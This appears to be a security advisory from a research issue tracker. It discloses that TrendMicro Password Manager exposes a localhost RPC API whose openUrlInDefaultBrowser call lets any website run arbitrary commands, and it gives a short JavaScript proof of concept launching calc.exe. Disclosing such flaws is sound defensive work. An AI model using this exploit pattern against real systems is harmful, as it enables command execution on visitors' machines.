When you install TrendMicro Antivirus on Windows, by default a component called Password Manager is also installed and automatically launched on startup.

http://www.trendmicro.com/us/home/products/software/password-manager/index.html

This product is primarily written in JavaScript with node.js, and opens multiple HTTP RPC ports for handling API requests.

It took about 30 seconds to spot one that permits arbitrary command execution, openUrlInDefaultBrowser, which eventually maps to ShellExecute().

This means any website can launch arbitrary commands, like this:

x = new XMLHttpRequest()
x.open("GET", "https://localhost:49155/api/openUrlInDefaultBrowser?url=c:/windows/system32/calc.exe true);
try { x.send(); } catch (e) {};

(Note that you cannot read the response due to the same origin policy, but it doesn't matter - the command is still executed).


This bug is subject to a 90 day disclosure deadline. If 90 days elapse
without a broadly available patch, then the bug report will automatically
become visible to the public.

Original Post: https://code.google.com/p/google-security-research/issues/detail?id=693

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